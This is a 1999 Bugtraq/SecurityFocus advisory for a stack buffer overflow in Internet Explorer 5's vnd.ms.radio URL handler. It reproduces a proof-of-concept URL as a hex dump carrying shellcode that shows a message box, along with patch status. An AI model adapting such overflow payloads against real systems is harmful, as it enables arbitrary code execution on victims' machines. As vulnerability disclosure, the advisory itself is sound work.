Microsoft IE5 vnd.ms.radio URL Vulnerability

Bugtraq ID:	861
Class:	Boundary Condition Error
CVE:
Remote:	No
Local:	Yes
Published:	Dec 06 1999 12:00AM
Updated:	Dec 06 1999 12:00AM
Credit:	Discovered by Jeremy Kothe and posted to Bugtraq on December 6, 1999.
Vulnerable:	Microsoft Internet Explorer 5.0 for Windows NT 4 + Microsoft Windows NT 4.0 + Microsoft Windows NT 4.0 Microsoft Internet Explorer 5.0 for Windows 98 + Microsoft Windows 98 + Microsoft Windows 98 Microsoft Internet Explorer 5.0 for Windows 95 + Microsoft Windows 95 + Microsoft Windows 95
Not Vulnerable:	Microsoft Internet Explorer 5.0 for Windows 2000 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional

Microsoft IE5 vnd.ms.radio URL Vulnerability

Internet Explorer can handle URLs of type vnd.ms.radio: for streaming audio content. If a URL with 360 or more characters after 'vnd.ms.radio' is specified, a buffer in the file MSDXM.OCX gets overwritten, allowing arbitrary code to be run on the client machine.

Microsoft IE5 vnd.ms.radio URL Vulnerability

Taken verbatim from Jeremy Kothe's post to Bugtraq (listed in it's entirety in the credits section)

The following is the binary for a URL or link which overflows the stack and displays a simple MessageBox, then loops endlessly.
All binary data is represented like: [xx]. Everything else is text.

Off Data
------------------------------------------------
000 vnd.ms.radio:\\j
010 kwashere9991[C0][89][07][83]
020 [EF][0C]PWWP[FF][15][14][16]0[1D][EB][FE]00
030 0000000000000000
040 0000000000000000
050 0000000000000000
060 0000000000000000
070 0000000000000000
080 0000000000000000
090 0000000000000000
0A0 0000000000000000
0B0 0000000000000000
0C0 0000000000000000
0D0 0000000000000000
0E0 0000000000000000
0F0 0000000000000000
100 0000000000000000
110 0000000000000000
120 0000000000000000
130 0000000000[1D]00000
140 00[1D]000[1D]000[1D]000[1D]0
150 000[1A][6F][36][1D]0000000[1D]0
160 000000[1D]0
------------------------------------------------

Microsoft IE5 vnd.ms.radio URL Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

This may have been fixed already in a recent patch. The following versions of Internet Explorer have been reported to be non-vulnerable:
5.00.2014.0216
5.50.3825.1300
5.00.2920.0000

Microsoft IE5 vnd.ms.radio URL Vulnerability

References:

• What Is the Windows Radio Toolbar? (Microsoft)